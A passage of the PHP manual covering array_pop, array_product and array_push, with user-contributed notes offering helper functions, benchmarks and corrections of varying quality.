We can do this "if" we know the missing keys, but if we dont, then it would be nice for array_pad() or perhaps some new function to do this?

obviously we can achive this by looping through the array using array_key_exists(), and if you dont find the key, simply create + fill it.
regards,
Daarius...
scott*hurring.com 20-Jul-2002 01:20
to the previous commenter -- if you read the manual entry, you'd see that a negative pad_size will put the pad values at the front of the array.


Pop the element off the end of array

  • « array_pad
  • array_product »
  • PHP Manual
  • Array Functions
  • Pop the element off the end of array

array_pop

(PHP 4, PHP 5)

array_pop — Pop the element off the end of array

Description

mixed array_pop ( array &$array )

array_pop() pops and returns the last value of the array, shortening the array by one element. If array is empty (or is not an array), NULL will be returned. Will additionally produce a Warning when called on a non-array.

Note: This function will reset() the array pointer of the input array after use.

Parameters

array

The array to get the value from.

Return Values

Returns the last value of array. If array is empty (or is not an array), NULL will be returned.

Examples

Example #1 array_pop() example

<?php
$stack = array("orange", "banana", "apple", "raspberry");
$fruit = array_pop($stack);
print_r($stack);
?>

After this, $stack will have only 3 elements:

Array
(
    [0] => orange
    [1] => banana
    [2] => apple
)

and raspberry will be assigned to $fruit.

See Also

  • array_push() - Push one or more elements onto the end of array
  • array_shift() - Shift an element off the beginning of array
  • array_unshift() - Prepend one or more elements to the beginning of an array

User Contributed Notes

Anonymous 28-Feb-2014 05:21
Strict Standards will be thrown out if you put exploded array in array_pop:
<?php
$a = array_pop(explode(",", "a,b,c"));
echo $a;
?>

You will see:
PHP Strict Standards:  Only variables should be passed by reference in - on line 2

Strict Standards: Only variables should be passed by reference in - on line 2
c

Notice that, you should assign a variable for function explode, then pass the variable reference into array_pop to avoid the Strict Standard warning.
elad dot yosifon at gmail dot com 11-Aug-2013 03:45
Notice:
the complexity of array_pop() is O(1).
the complexity of array_shift() is O(n).
array_shift() requires a re-index process on the array, so it has to run over all the elements and index them.
qeremy 07-Mar-2012 08:26
For the sake of array_unshift()
:)

<?php
function array_unpop(&$arr) {
    $args = func_get_args(); unset($args[0]);
    $tarr = array();
    foreach ($args as $arg) {
        $tarr[] = $arg;
    }
    $arr = array_merge($arr, $tarr);
}

$queue = array("orange", "banana");
array_unpop($queue, "apple", "raspberry");
print_r($queue);
?>

Array
(
    [0] => orange
    [1] => banana
    [2] => apple
    [3] => raspberry
)
Igor Feghali 04-Feb-2009 06:18
Beware that array_pop() returns a copy of the element (even if the array element is a reference). That means you will get different results on PHP 4 and 5 when dealing with objects.

<?php
$a = new stdClass();
$a->foo = 'bar';

$arr = array(&$a);
$b = array_pop($arr);

$b->foo = 'baz';

var_dump($a);
?>

Output of PHP 5.2.8:
object(stdClass)#1 (1) {
  ["foo"]=>
  string(3) "baz"
}

Output of PHP 4.4.9:
object(stdClass)(1) {
  ["foo"]=>
  string(3) "bar"
}

For more information please refer to:
http://br2.php.net/manual/en/language.oop5.references.php
mcgroovin at gmail dot com 23-Oct-2008 09:13
I wrote a simple function to perform an intersect on multiple (unlimited) arrays.

Pass an array containing all the arrays you want to compare, along with what key to match by.

<?php
function multipleArrayIntersect($arrayOfArrays, $matchKey)
{
    $compareArray = array_pop($arrayOfArrays);

    foreach($compareArray AS $key => $valueArray){
        foreach($arrayOfArrays AS $subArray => $contents){
            if (!in_array($compareArray[$key][$matchKey], $contents)){
                unset($compareArray[$key]);
            }
        }
    }

    return $compareArray;
}
?>
sonetti at hotmail dot com 05-Feb-2008 10:15
@smp_info
I think you are still tired. What would be wrong with:

<?php
$array = array('one', 'two', 'three', 'four');

//pop the last element off
array_pop($array);

//$array == array('one', 'two', 'three');
?>

As the documentation clearly notes, array_pop() not only returns the last element, but actually removes it from the array wich is passed by reference. Calling array_diff is a waste of resources.
Orsi 10-Jan-2008 04:05
Hi,

Here is a simple function which delete one element from the array (with value):
<?php
/*
* This function deletes the given element from a one-dimension array
* Parameters: $array:    the array (in/out)
*             $deleteIt: the value which we would like to delete
*             $useOldKeys: if it is false then the function will re-index the array (from 0, 1, ...)
*                          if it is true: the function will keep the old keys
* Returns true, if this value was in the array, otherwise false (in this case the array is same as before)
*/
function deleteFromArray(&$array, $deleteIt, $useOldKeys = FALSE)
{
    $tmpArray = array();
    $found = FALSE;
    foreach($array as $key => $value)
    {
        if($value !== $deleteIt)
        {
            if(FALSE === $useOldKeys)
            {
                $tmpArray[] = $value;
            }
            else
            {
                $tmpArray[$key] = $value;
            }
        }
        else
        {
            $found = TRUE;
        }
    }

    $array = $tmpArray;

    return $found;
}
?>

Maybe it will help somebody...
doyley3731 at gmail dot com 31-Oct-2007 01:37
I had a problem when using this function because my array was made up entirley of numbers, so I have made my own function.  Hopefully it will be useful to somebody.

function array_trim_end($array){

$num=count($array);
$num=$num-1;
unset($array[$num]);

return $array;
}
rmondragon at gmail dot com 07-Jun-2005 11:03
In a previous example ...
<?php
function array_trim ( $array, $index ) {
   if ( is_array ( $array ) ) {
     unset ( $array[$index] );
     array_unshift ( $array, array_shift ( $array ) );
     return $array;
     }
   else {
     return false;
     }
   }
?>

This have a problem. if u unset the last value and then use
<?
array_unshift ( $array, array_shift ( $array ) );
?>

will return a :  Array ( [0] => )
so u can fix it using...

<?php
if (count($array) > 0) array_unshift ( $values, array_shift ( $values ) );
?>

good luck ;)
15-Dec-2004 05:29
strrchr is a lot more useful than the other example using array_pop for finding the extension of a file. For example:

<?php
$ext = strrchr($filename, ".");
?>

$ext will contain the extension of the file, including a ".", if the file has an extension, and FALSE if the file has no extension. If the file has multiple extensions, such as "filename.tar.gz", then this construction will just return the last extension.
eddie at metafoundry dot com 25-Nov-2004 05:35
Quick way to get the extension from a file name using array_pop:

$ext = array_pop(explode(".",$filename));
30-Mar-2004 10:55
A function to delete an array value that recalculates the index ( its very short and easy to understand ).
Hope this might help someone...

<?php
/* Usage:
    $array : Array
    $indey : Integer

    The value of $array at the index $index will be
    deleted by the function.
*/
function array_trim ( $array, $index ) {
   if ( is_array ( $array ) ) {
      unset ( $array[$index] );
      array_unshift ( $array, array_shift ( $array ) );
      return $array;
      }
   else {
      return false;
      }
   }
?>
ryan8613(at)hotmail(dot)com 08-Jun-2003 03:10
A function that may help some out, considering it's pretty much the one mentioned previously...

<?php
function array_trim($arr, $indice) {
        if(!isset($indice)) {
                $indice = count($arr)-1;
        }
        unset($arr[$indice]);
        array_shift($arr);
        return $arr;
}
?>

It cuts the given index value off of the array, but without the shift, if  the 'index' value isn't given, it cuts off the end value.
01-Mar-2003 02:16
alex.chacon@terra.com
Hi
Here there is a function that delete a elemente from a array and re calculate indexes

<?php
function eliminarElementoArreglo ($array, $indice)
{
    if (array_key_exists($indice, $array))
    {
        $temp = $array[0];
        $array[0] = $array[$indice];
        $array[$indice] = $temp;
        array_shift($array);

        //reacomodamos �ndices
        for ($i = 0 ; $i < $indice ; $i++)
        {
            $dummy = $array[$i];
            $array[$i] = $temp;
            $temp = $dummy;
        }
    }
    return $array;
}
?>


Calculate the product of values in an array

  • « array_pop
  • array_push »
  • PHP Manual
  • Array Functions
  • Calculate the product of values in an array

array_product

(PHP 5 >= 5.1.0)

array_product — Calculate the product of values in an array

Description

number array_product ( array $array )

array_product() returns the product of values in an array.

Parameters

array

The array.

Return Values

Returns the product as an integer or float.

Changelog

Version | Description
5.3.6 | The product of an empty array is now 1, when before this function would return 0 for an empty array.

Examples

Example #1 array_product() examples

<?php

$a = array(2, 4, 6, 8);
echo "product(a) = " . array_product($a) . "\n";
echo "product(array()) = " . array_product(array()) . "\n";

?>

The above example will output:

product(a) = 384
product(array()) = 1

User Contributed Notes

Jimmy PHP 30-Apr-2014 04:55
array_product() can be used to implement a simple boolean AND search

<?php
$args = array('first_name'=>'Bill','last_name'=>'Buzzard');
$values[] = array('first_name'=>'Brenda','last_name'=>'Buzzard');
$values[] = array('first_name'=>'Victor','last_name'=>'Vulture');
$values[] = array('first_name'=>'Bill','last_name'=>'Blue Jay');
$values[] = array('first_name'=>'Bill','last_name'=>'Buzzard');

$result = search_for($values,$args);
var_dump($result);exit;

function search_for($array,$args) {
    $results = array();
    foreach ($array as $row) {
        $found = false;
        $hits = array();
        foreach ($row as $k => $v) {
            if (array_key_exists($k,$args)) $hits[$k] = ($args[$k] == $v);
        }

        $found = array_product($hits);
        if (!in_array($row,$results) && true == $found) $results[] = $row;
    }

    return $results;
}
?>

Output:

array (size=1)
  0 =>
    array (size=2)
      'first_name' => string 'Bill' (length=4)
      'last_name' => string 'Buzzard' (length=7)
Marcel G 28-Sep-2010 05:36
You can use array_product to calculate the factorial of n:
<?php
function factorial( $n )
{
  if( $n < 1 ) $n = 1;
  return array_product( range( 1, $n ));
}
?>

If you need the factorial without having array_product available, here is one:
<?php
function factorial( $n )
{
  if( $n < 1 ) $n = 1;
  for( $p++; $n; ) $p *= $n--;
  return $p;
}
?>
pqpqpq at wanadoo dot nl 17-Jan-2007 01:32
An observation about the _use_ of array_product with primes:

$a=$arrayOfSomePrimes=(2,3,11);
              // 2 being the first prime (these days)

$codeNum=array_product($a); // gives 66 (== 2*3*11)

echo "unique product(\$a) = " . array_product($a) . "\n";

The 66 can (only) be split into its original primes,
which can be transformed into their place in the row of primes (2,3,5,7,11,13,17,19...)  giving (1,2,3,4,5,6,7,8...)

The 66 gives the places {1,2,5} in the row of primes. The number "66" is unique as a code for {1,2,5}

So you can define the combination of table-columns {1,2,5} in "66". The bigger the combination, the more efficient in memory/transmission, the less in calculation.
Andre D 07-Aug-2006 10:56
This function can be used to test if all values in an array of booleans are TRUE.

Consider:

<?php

function outbool($test)
{
    return (bool) $test;
}

$check[] = outbool(TRUE);
$check[] = outbool(1);
$check[] = outbool(FALSE);
$check[] = outbool(0);

$result = (bool) array_product($check);
// $result is set to FALSE because only two of the four values evaluated to TRUE

?>

The above is equivalent to:

<?php

$check1 = outbool(TRUE);
$check2 = outbool(1);
$check3 = outbool(FALSE);
$check4 = outbool(0);

$result = ($check1 && $check2 && $check3 && $check4);

?>

This use of array_product is especially useful when testing an indefinite number of booleans and is easy to construct in a loop.


Push one or more elements onto the end of array

  • « array_product
  • array_rand »
  • PHP Manual
  • Array Functions
  • Push one or more elements onto the end of array

array_push

(PHP 4, PHP 5)

array_push — Push one or more elements onto the end of array

Description

int array_push ( array &$array , mixed $value1 [, mixed $... ] )

array_push() treats array as a stack, and pushes the passed variables onto the end of array. The length of array increases by the number of variables pushed. Has the same effect as:

<?php
$array[] = $var;
?>
repeated for each passed value.

Note: If you use array_push() to add one element to the array it's better to use $array[] = because in that way there is no overhead of calling a function.

Note: array_push() will raise a warning if the first argument is not an array. This differs from the $var[] behaviour where a new array is created.

Parameters

array

The input array.

value1

The first value to push onto the end of the array.

Return Values

Returns the new number of elements in the array.

Examples

Example #1 array_push() example

<?php
$stack = array("orange", "banana");
array_push($stack, "apple", "raspberry");
print_r($stack);
?>

The above example will output:

Array
(
    [0] => orange
    [1] => banana
    [2] => apple
    [3] => raspberry
)

See Also

  • array_pop() - Pop the element off the end of array
  • array_shift() - Shift an element off the beginning of array
  • array_unshift() - Prepend one or more elements to the beginning of an array

User Contributed Notes

Rob 10-Sep-2014 05:59
<?php
//Push same var into array multiple times
if(!function_exists('m_push')){

    function m_push($array, $var, $count){
        for ($i = 1; $i <= $count; $i++)
        {
            $array[] = $var;
        }
        return $array;
    }

}
?>
flobee 20-Nov-2013 10:25
Be warned using $array "+=" array(1,2,3) or union operations (http://php.net/manual/en/language.operators.array.php)

I think it worked in the past or i havent test it good enough. :-/
(once it worked, once [] was faster than array_push, the past :-D ):

php -r '$a = array(1,2); $a += array(3,4); print_r($a);'
Array (
    [0] => 1
    [1] => 2
)
php -r '$a = array(1,2); $b = array(3,4);$c = $a + $b; print_r($c);'
Array (
    [0] => 1
    [1] => 2
)
php -r '$a = array(1,2); $b = array(2=>3,3=>4);$c = $a + $b; print_r($c);'
Array (
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)
hacfi 03-Jul-2013 11:57
I noticed that under certain circumstances it can be faster to use

 <?php
call_user_func_array("array_push", array('x' => &$array1) + array_values($array2));
 ?>

than

 <?php
foreach ($array2 as $key => $value) {
    $array1[] = $value;
}
 ?>
chris lanx 11-Jun-2013 09:07
i wanted to do some string manipulation on a specific field from an sql result set and then append the row to the end of an array like this.

[0] =>
    [one] => [val1]
    [two] => [val2]
    [three] => [val3]
    [four] => [val4]
[0] =>
    [one] => [val1]
    [two] => [val2]
    [three] => [val3]
    [four] => [val4]

~I tried array push and couldnt get it sorted, So what i did was this.

while ($row = mysql_fetch_assoc($query)) {

    $row['five'] = str_replace('.','',$row['place']);
    $results[] = $row;
}

resulting in

[0] =>
    [one] => [val1]
    [two] => [val2]
    [three] => [val3]
    [four] => [val4]
    [five] => [val5]
[0] =>
    [one] => [val1]
    [two] => [val2]
    [three] => [val3]
    [four] => [val4]
    [five] => [val5]
Rodrigo de Aquino 30-Mar-2012 12:24
If you're going to use array_push() to insert a "$key" => "$value" pair into an array, it can be done using the following:

    $data[$key] = $value;

It is not necessary to use array_push.
Chicna 21-Mar-2012 07:14
I found a simple way to have an "array_push_array" function, without the references problem when we want to use call_user_func_array(), hope this help :

function array_push_array(array &$array)
{
    $numArgs = func_num_args();
    if(2 > $numArgs)
    {
      trigger_error(sprintf('%s: expects at least 2 parameters, %s given', __FUNCTION__, $numArgs), E_USER_WARNING);
      return false;
    }

    $values = func_get_args();
    array_shift($values);

    foreach($values as $v)
    {
      if(is_array($v))
      {
        if(count($v) > 0)
        {
          foreach($v as $w)
          {
            $array[] = $w;
          }
        }
      }
      else
      {
        $array[] = $v;
      }
    }

    return count($array);
}
Szorstki 27-Dec-2011 11:35
With multidimensional arrays it's easy too (somebody posted a sample, but it isn't useful for beginners). Here is a piece of code that should explain everything and much more:

<?php
//two classes of objects which will be in multidimensional array
class Org {
    public $name;
    public function __construct($name) {
        $this->name = $name;
    }
}
class Org2 {
    public $name;
    public function __construct($name) {
        $this->name = $name;
    }
}

//main array
$arr = array();

//creating first subarray manually
//the subarray name must be like first class above
$arr['Org'] = array();

//creating second subarray for objects of selected class
//in another way
$x=2222;        //only for creating the sample object
$arr[get_class(new Org2("wtf".$x))] = array();

//pushing some new objects to (sub)arrays in (main)array
for ($i=0; $i<3; $i++) {
    $org1 = new Org("tst".$i);
    $org2 = new Org2("wtf".$i);
    array_push($arr[get_class($org1)], $org1);
    array_push($arr[get_class($org2)], $org2);
}

//printing everything
foreach ($arr as $key=>$value) {
    $counter = 0;
    echo "=====".$key." (key) | value: ".$value."<br/>";
    foreach ($value as $key2=>$value2) {
        if($value2 == null) {
            //echo "counter: ".$counter." | key: ".$key2;
            unset($arr[$key][$key2]);
        } else {
            print_r($value2);
            echo " [".$counter."]  [".$key2."]<br/>";
        }
        $counter++;
    }
}

//the additional, second part
echo "<br/>--------<br/><br/>";
//deleting one of the objects from selected (sub)array
unset($arr['Org'][1]);

//printing everything again (look at the counter values)
foreach ($arr as $key=>$value) {
    $counter = 0;
    echo "=====".$key." (key) | value: ".$value."<br/>";
    foreach ($value as $key2=>$value2) {
        if($value2 == null) {
            //echo "counter: ".$counter." | key: ".$key2;
            unset($arr[$key][$key2]);
        } else {
            print_r($value2);
            echo " [".$counter."]  [".$key2."]<br/>";
        }
        $counter++;
    }
}
?>

What we get in browser/console:
=====Org (key) | value: Array
Org Object ( [name] => tst0 ) [0] [0]
Org Object ( [name] => tst1 ) [1] [1]
Org Object ( [name] => tst2 ) [2] [2]
=====Org2 (key) | value: Array
Org2 Object ( [name] => wtf0 ) [0] [0]
Org2 Object ( [name] => wtf1 ) [1] [1]
Org2 Object ( [name] => wtf2 ) [2] [2]

--------

=====Org (key) | value: Array
Org Object ( [name] => tst0 ) [0] [0]
Org Object ( [name] => tst2 ) [1] [2]
=====Org2 (key) | value: Array
Org2 Object ( [name] => wtf0 ) [0] [0]
Org2 Object ( [name] => wtf1 ) [1] [1]
Org2 Object ( [name] => wtf2 ) [2] [2]
yuri 30-Nov-2011 07:00
If you want to put an element to a specific position in an array, try this function.

<?php

function array_put_to_position(&$array, $object, $position, $name = null)
{
        $count = 0;
        $return = array();
        foreach ($array as $k => $v)
        {
                // insert new object
                if ($count == $position)
                {
                        if (!$name) $name = $count;
                        $return[$name] = $object;
                        $inserted = true;
                }
                // insert old object
                $return[$k] = $v;
                $count++;
        }
        if (!$name) $name = $count;
        if (!$inserted) $return[$name];
        $array = $return;
        return $array;
}
?>

Example :

<?php
$a = array(
 'a' => 'A',
 'b' => 'B',
 'c' => 'C',
);

print_r($a);
array_put_to_position($a, 'G', 2, 'g');
print_r($a);

/*
Array
(
    [a] => A
    [b] => B
    [c] => C
)
Array
(
    [a] => A
    [b] => B
    [g] => G
    [c] => C
)
*/
?>
aosojnik at gmail dot com 23-Nov-2009 11:56
If you want to preserve the keys in the array, use the following:

<?php
function array_pshift(&$array) {
    $keys = array_keys($array);
    $key = array_shift($keys);
    $element = $array[$key];
    unset($array[$key]);
    return $element;
}
?>
rarioj at gmail dot com 05-Oct-2009 03:44
This function "Returns the new number of elements in the array."

To find out the last index, use:

<?php
$count = array_push($array, $value);
$last_index = array_pop(array_keys($array));
?>
Anonymous 20-Sep-2009 11:00
If you need to push the elements of an array onto the end of another, simply use array_splice():

array_splice($array, count($array), 0, $otherArray);
helpmepro1 at gmail dot com 13-Jan-2009 10:43
elegant php array combinations algorithm

<?

//by Shimon Dookin

function get_combinations(&$lists,&$result,$stack=array(),$pos=0)
{
 $list=$lists[$pos];
 if(is_array($list))
  foreach($list as $word)
  {
   array_push($stack,$word);
   if(count($lists)==count($stack))
    $result[]=$stack;
   else
    get_combinations($lists,$result,$stack,$pos+1);
   array_pop($stack);
  }
}

$wordlists= array( array("shimon","doodkin") , array("php programmer","sql programmer","mql metatrader programmer") );

get_combinations($wordlists,$combinations);

echo '<xmp>';
print_r($combinations);

?>
wesleys at opperschaap dot net 10-Oct-2008 09:58
A function which mimics push() from perl, perl lets you push an array to an array: push(@array, @array2, @array3). This function mimics that behaviour.

<?php

function array_push_array(&$arr) {
    $args = func_get_args();
    array_shift($args);

    if (!is_array($arr)) {
        trigger_error(sprintf("%s: Cannot perform push on something that isn't an array!", __FUNCTION__), E_USER_WARNING);
        return false;
    }

    foreach($args as $v) {
        if (is_array($v)) {
            if (count($v) > 0) {
                array_unshift($v, &$arr);
                call_user_func_array('array_push',  $v);
            }
        } else {
            $arr[] = $v;
        }
    }
    return count($arr);
}

$arr = array(0);
$arr2  = array(6,7,8);
printf("%s\n", array_push_array($arr, array(),array(1,2,3,4,5), $arr2));
print_r($arr);

# error..
$arr = "test";
printf("%s\n", array_push_array($arr, array(),array(1,2,3,4,5), $arr2));

?>
willdemaine at gmail dot com 07-Aug-2008 04:00
If you're adding multiple values to an array in a loop, it's faster to use array_push than repeated [] = statements that I see all the time:

<?php
class timer
{
        private $start;
        private $end;

        public function timer()
        {
                $this->start = microtime(true);
        }

        public function Finish()
        {
                $this->end = microtime(true);
        }

        private function GetStart()
        {
                if (isset($this->start))
                        return $this->start;
                else
                        return false;
        }

        private function GetEnd()
        {
                if (isset($this->end))
                        return $this->end;
                else
                        return false;
        }

        public function GetDiff()
        {
                return $this->GetEnd() - $this->GetStart();
        }

        public function Reset()
        {
                $this->start = microtime(true);
        }

}

echo "Adding 100k elements to array with []\n\n";
$ta = array();
$test = new Timer();
for ($i = 0; $i < 100000; $i++)
{
        $ta[] = $i;
}
$test->Finish();
echo $test->GetDiff();

echo "\n\nAdding 100k elements to array with array_push\n\n";
$test->Reset();
for ($i = 0; $i < 100000; $i++)
{
        array_push($ta,$i);
}
$test->Finish();
echo $test->GetDiff();

echo "\n\nAdding 100k elements to array with [] 10 per iteration\n\n";
$test->Reset();
for ($i = 0; $i < 10000; $i++)
{
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
}
$test->Finish();
echo $test->GetDiff();

echo "\n\nAdding 100k elements to array with array_push 10 per iteration\n\n";
$test->Reset();
for ($i = 0; $i < 10000; $i++)
{
        array_push($ta,$i,$i,$i,$i,$i,$i,$i,$i,$i,$i);
}
$test->Finish();
echo $test->GetDiff();
?>

Output

$ php5 arraypush.php
X-Powered-By: PHP/5.2.5
Content-type: text/html

Adding 100k elements to array with []

0.044686794281006

Adding 100k elements to array with array_push

0.072616100311279

Adding 100k elements to array with [] 10 per iteration

0.034690141677856

Adding 100k elements to array with array_push 10 per iteration

0.023932933807373
bxi at apparoat dot nl 23-May-2008 01:29
I've done a small comparison between array_push() and the $array[] method and the $array[] seems to be a lot faster.

<?php
$array = array();
for ($x = 1; $x <= 100000; $x++)
{
    $array[] = $x;
}
?>
takes 0.0622200965881 seconds

and

<?php
$array = array();
for ($x = 1; $x <= 100000; $x++)
{
    array_push($array, $x);
}
?>
takes 1.63195490837 seconds

so if your not making use of the return value of array_push() its better to use the $array[] way.

Hope this helps someone.
alexander dot williamson at gmail dot com 27-Mar-2008 01:06
This will work to solve the associative array issues:

$aValues[$key] = $value;

Where $key is a unique identifier and $value is the value to be stored. Since the $key works off a string or number, if you already have a $key with the same value as an existing $key, the element will be overwritten.

e.g.

$aValues["one"] = "value of one";
$aValues["two"] = "different value of two!";

gives:
array([one] => "value of one", [two] => "value of two");

but will be overwritten when using the same key (one):

$aValues["one"] = "value of one";
$aValues["one"] = "different value of two!";

will give:

array([one] => "different value of two!");

3686
darkimmortal at dkimmortal dot com 18-Feb-2008 08:31
I wrote this function for use with 'latest scores' on a quiz site, but it has many potential uses.

<?php
/**
* @desc array_push and removes elements from the beginning of the array until it is within limit
* @param    array   Array to push on to
* @param    mixed   Passed to array push as 2nd parameter
* @param    int     Limit (default = 10)
*
* @return   array   New array
*/
function array_push_limit($array,$add,$limit=10){
    array_push($array, $add);
    do {
        array_shift($array);
        $size=count($array);
    } while($size > $limit);

    return $array;
}
?>
----------
EXAMPLE:
----------
<?php
    $array=array(1, -5, 23, -66, 33, 54, 3);
    print_r(array_push_limit($array, "HELLO", 4));
?>
----------
OUTPUT:
----------
Array
(
    [0] => 33
    [1] => 54
    [2] => 3
    [3] => HELLO
)
zbde00 at hotmail dot com 20-Jul-2007 02:59
A very good function to remove a element from array
function array_del($str,&$array)
{
    if (in_array($str,$array)==true)
    {

        foreach ($array as $key=>$value)
        {
            if ($value==$str) unset($array[$key]);
        }
    }
}
Marc Bernet 15-May-2006 06:18
A small and basic implementation of a stack without using an array.

class node
{
        var $elem;
        var    $next;
}
class stack
{
    var $next;
    function pop()
    {
        $aux=$this->next->elem;
        $this->next=$this->next->next;
        return $aux;
    }
    function push($obj)
    {
        $nod=new node;
        $nod->elem=$obj;
        $nod->next=$this->next;
        $this->next=$nod;
    }
    function stack()
    {
        $this->next=NULL;
    }
}
richard dot udo at gmail dot com 09-Feb-2006 12:05
Just a typo i think but the code below will actually produce

Array
(
    [0] => a
    [1] => b
    [2] => c
    [3] => Array
        (
            [0] => d
            [1] => e
            [2] => f
        )
)
egingell at sisna dot com 28-Jan-2006 03:06
If you push an array onto the stack, PHP will add the whole array to the next element instead of adding the keys and values to the array. If this is not what you want, you're better off using array_merge() or traverse the array you're pushing on and add each element with $stack[$key] = $value.

<?php

$stack = array('a', 'b', 'c');
array_push($stack, array('d', 'e', 'f'));
print_r($stack);

?>
The above will output this:
Array (
  [0] => a
  [1] => b
  [2] => c
  [3] => Array (
     [0] => a
     [1] => b
     [2] => c
  )
)
steve at webthoughts d\ot ca 13-Nov-2005 01:02
Further Modification on the array_push_associative function
1.  removes seemingly useless array_unshift function that generates php warning
2.  adds support for non-array arguments

<?
// Append associative array elements
function array_push_associative(&$arr) {
   $args = func_get_args();
   foreach ($args as $arg) {
       if (is_array($arg)) {
           foreach ($arg as $key => $value) {
               $arr[$key] = $value;
               $ret++;
           }
       }else{
           $arr[$arg] = "";
       }
   }
   return $ret;
}

$items = array("here" => "now");
$moreitems = array("this" => "that");

$theArray = array("where" => "do we go", "here" => "we are today");
echo array_push_associative($theArray, $items, $moreitems, "five") . ' is the size of $theArray.<br />';

echo "<pre>";
print_r($theArray);
echo "</pre>";

?>

Yields:

4 is the size of $theArray.
Array
(
    [where] => do we go
    [here] => now
    [this] => that
    [five] =>
)
ludvig dot ericson at gmail dot com 31-Oct-2005 02:32
Previous comment was not fully imitating the array_push behaviour,
1) does not return number of items pushed
2) can only handle one array to push

> Revised associative_push function with absolute reference of arg1 array; left unchanged if arg2 is empty.

<?php
// Append associative array elements
function array_push_associative(&$arr) {
    $args = func_get_args();
    array_unshift($args); // remove &$arr argument
    foreach ($args as $arg) {
        if (is_array($arg)) {
            foreach ($arg as $key => $value) {
                $arr[$key] = $value;
                $ret++;
            }
        }
    }

    return $ret;
}

$theArray = array();
echo array_push_associative($theArray, $items, $moreitems) . ' items added to $theArray.';
?>
john 19-Oct-2005 10:33
A variation of kamprettos' associative array push:

// append associative array elements
function associative_push($arr, $tmp) {
  if (is_array($tmp)) {
    foreach ($tmp as $key => $value) {
      $arr[$key] = $value;
    }
    return $arr;
  }
  return false;
}

$theArray = array();
$theArray = associative_push($theArray, $items);
kamprettos at yahoo dot com Teguh Iskanto 19-Sep-2005 02:33
Looking for a way to push data into an associative array and frustrated to know that array_push() can't do the job ?

here's my Scenario :
-------------------
I need to relate system command output into an associative array like these :

[sge@digital_db work]$ /usr/local/apache/htdocs/work/qhost.sh -h t1 -F | awk '{if(NR>4) print $1}' | sed  's/hl://g'
arch=lx24-amd64
num_proc=2.000000
mem_total=3.808G
swap_total=3.907G
virtual_total=7.715G
load_avg=0.000000
load_short=0.000000
load_medium=0.000000
load_long=0.000000
mem_free=3.510G
swap_free=3.907G
virtual_free=7.417G
mem_used=305.242M
swap_used=0.000
virtual_used=305.242M
cpu=0.000000
np_load_avg=0.000000
np_load_short=0.000000
np_load_medium=0.000000
np_load_long=0.000000

how I did it :
<? php

# get into the system command output
$assoc_cmd =`$work_dir/qhost.sh -h $host_resource -F | awk '{if(NR>4) print $1}'| sed  's/hl://g' ` ;

# split the "\n" character
$assoc_row = explode("\n", chop($assoc_cmd));

# get the index row
$idx_row  = count($assoc_row) - 1 ;

# initialize the associative array
$host_res_array = array();

for ($i = 0 ; $i<= $idx_row ; $i++)
        {
                # get params & values
                list($host_param,$host_val) = explode("=",$assoc_row[$i]);

                # populate / push data to assoc array
                $host_res_array[$host_param]= $host_val ;
        }

echo "<pre> Architecture : </pre>\n" ;
echo $host_res_array['arch'] ;
echo "<pre> Mem Total    : </pre>\n" ;
echo $host_res_array['mem_tot'];

?>

Hope this helps ! :)
bk at quicknet dot nl 04-Sep-2005 10:51
Add elements to an array before or after a specific index or key:

<?php

/**
 * @return array
 * @param array $src
 * @param array $in
 * @param int|string $pos
*/
function array_push_before($src,$in,$pos){
    if(is_int($pos)) $R=array_merge(array_slice($src,0,$pos), $in, array_slice($src,$pos));
    else{
        foreach($src as $k=>$v){
            if($k==$pos)$R=array_merge($R,$in);
            $R[$k]=$v;
        }
    }return $R;
}

/**
 * @return array
 * @param array $src
 * @param array $in
 * @param int|string $pos
*/
function array_push_after($src,$in,$pos){
    if(is_int($pos)) $R=array_merge(array_slice($src,0,$pos+1), $in, array_slice($src,$pos+1));
    else{
        foreach($src as $k=>$v){
            $R[$k]=$v;
            if($k==$pos)$R=array_merge($R,$in);
        }
    }return $R;
}

// Examples:

$src=array("A","B","C");
$in=array("X","Y");

var_dump(array_push_before($src,$in,1));
/* array_push_before, no-key array
array(5) {
  [0]=>
  string(1) "A"
  [1]=>
  string(1) "X"
  [2]=>
  string(1) "Y"
  [3]=>
  string(1) "B"
  [4]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,1));
/* array_push_after, no-key array
array(5) {
  [0]=>
  string(1) "A"
  [1]=>
  string(1) "B"
  [2]=>
  string(1) "X"
  [3]=>
  string(1) "Y"
  [4]=>
  string(1) "C"
}*/

$src=array('a'=>"A",'b'=>"B",'c'=>"C");
$in=array('x'=>"X",'y'=>"Y");

var_dump(array_push_before($src,$in,1));
/* array_push_before, key array, before index insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["b"]=>
  string(1) "B"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_before($src,$in,'b'));
/* array_push_before, key array, before key insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["b"]=>
  string(1) "B"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,1));
/* array_push_after, key array, after index insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["b"]=>
  string(1) "B"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,'b'));
/* array_push_after, key array, after key insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["b"]=>
  string(1) "B"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["c"]=>
  string(1) "C"
}*/

?>
ciprian dot amariei at gmail com 30-Aug-2005 11:47
regarding the speed of oneill's solution to insert a value into a non-associative array,  I've done some tests and I found that it behaves well if you have a small array and more insertions, but for a huge array and a little insersions I sugest  using this function:

function array_insert( &$array, $index, $value ) {
   $cnt = count($array);

   for( $i = $cnt-1; $i >= $index; --$i ) {
       $array[ $i + 1 ] = $array[ $i ];
   }
   $array[$index] = $value;
}

or if you are a speed adicted programmer (same situation: big array, few insertions) use this:

array_splice ( $array, $offset, 0, $item );

item may also be an array of values ;).
Phil Davies 18-Jul-2005 12:51
As someone pointed out the array_push() function returns the count of the array not the key of the new element. As it was the latter function i required i wrote this very simple replacement.

function array_push2(&$array,$object,$key=null){
